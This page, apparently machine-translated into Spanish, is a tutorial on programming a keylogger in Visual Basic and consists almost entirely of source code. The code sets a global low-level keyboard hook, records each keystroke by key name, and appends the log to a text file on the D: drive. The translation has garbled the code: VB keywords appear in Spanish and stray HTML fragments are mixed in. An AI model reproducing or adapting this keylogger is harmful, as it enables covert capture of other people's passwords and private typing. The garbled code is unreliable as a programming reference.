Red de conocimiento informático - Conocimiento del nombre de dominio - Cómo programar un keylogger usando VB

Cómo programar un keylogger usando VB

Lo siguiente está escrito en el módulo:

Tipo público EVENTMSG 'Estructura de retorno

vKey As Long

sKey As Long p>

bandera Mientras

tiempo Mientras

Tipo de fin

'Algunas declaraciones

Declarar función UnhookWindowsHookEx Lib "user32 " (ByVal hHook As Long) Mientras

Declarar función SetWindowsHookEx Lib "user32" Alias ​​​​"SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) Mientras

Declarar función CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long

Declaración pública Sub CopyMemory Lib "kernel32 " Alias ​​​​"RtlMoveMemory" (Destino como cualquiera, Fuente como cualquier, Longitud ByVal tan larga)

Mymsg público como EVENTMSG

Const público WH_KEYBOARD_LL = 13

Const pública WM_KEYDOWN = &H100

'Variable global

HHook pública&, i%, appStr$, s1$, s2$, pos1$(), pos2$( )

Sub ints() 'Carga el código ascii y el contenido del teclado correspondiente

appStr = "Inicia la grabación del teclado desde" & Now & "Inicia la grabación del teclado de la siguiente manera... ." & vbCrLf 'Registra el contenido del archivo

s1 = "96 97 98 99 100 101 102 103 104 105 106 107 109 110 111 13 " + _

"144 65 66 67 68 69 70 71 72 73 74 75 76 77 78 7 9 80 81 82 83 84 " + _

"85 86 87 88 89 90 48 49 50 51 52 53 54 55 56 57 192 189 187 220 8 " + _

"44 45 46 145 36 35 19 33 34 38 40 37 39 27 112 113 114 115 116 117 " + _

"118 119 120 121 122 123 9 20 160 162 91 13 161 92 93"

p>

s2 = "pequeño 0 pequeño 1 pequeño 2 pequeño 3 pequeño 4 pequeño 5 pequeño 6 pequeño 7 pequeño 8 pequeño 9 pequeño * pequeño + pequeño - pequeño. pequeño / " + _

"pequeño Ingrese pequeño Bloq Num A B C D E F G H I G K L M N O P Q R

S T U V W

"Arriba, abajo, izquierda y derecha ESC F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 " + _

"TAB Bloq Mayús Izquierda Mayús Izquierda Ctrl Izquierda Win Enter Derecha Mayús a la derecha Ganar a la derecha Lista derecha Ctrl"

pos1 = Split(s1, " "): pos2 = Split(s2, " ") 'Ordenar el contenido

End Sub

Función pública MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Si ncode = 0 Entonces 'Cuando se presiona la tecla

Si wParam = WM_KEYDOWN Entonces

CopyMemory mymsg, ByVal lParam, Len(mymsg)

For i = 0 To UBound(pos1) - 1

Si mymsg. vKey = Val(pos1(i )) Luego 'Busque la ubicación de la tecla correspondiente al código ASCII y luego busque el contenido del teclado correspondiente

appStr = appStr & pos2(i) & " ": Salir Para 'Contenido a escribir

Fin si

Siguiente

Fin si

Fin si

MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)

Función final

Lo siguiente está escrito en la ventana:

Dim fls$

Private Sub form_Load()

KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "Keylog"

Module1.ints 'Datos de inicialización

hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App .hInstance, 0) 'Hook

'Cargar

Si hHook = 0 Entonces finaliza

End Sub

Sub Form_Unload privado (Cancelar como entero)

Llamar a UnhookWindowsHookEx(hHook) 'Cuando el programa salga

Abra "D:\getkey.txt" para agregar como # 1 'Abrir texto

Imprimir #1, Module1.appStr 'Registro único

Imprimir #1, "Hasta" & Ahora() & "¡Fin!" p>

Cerrar #1

Fin Sub

Sub privado Form_KeyDown(Código clave como entero,

Shift As Integer)

Si KeyCode = vbKeyEscape, entonces descárgueme

End Sub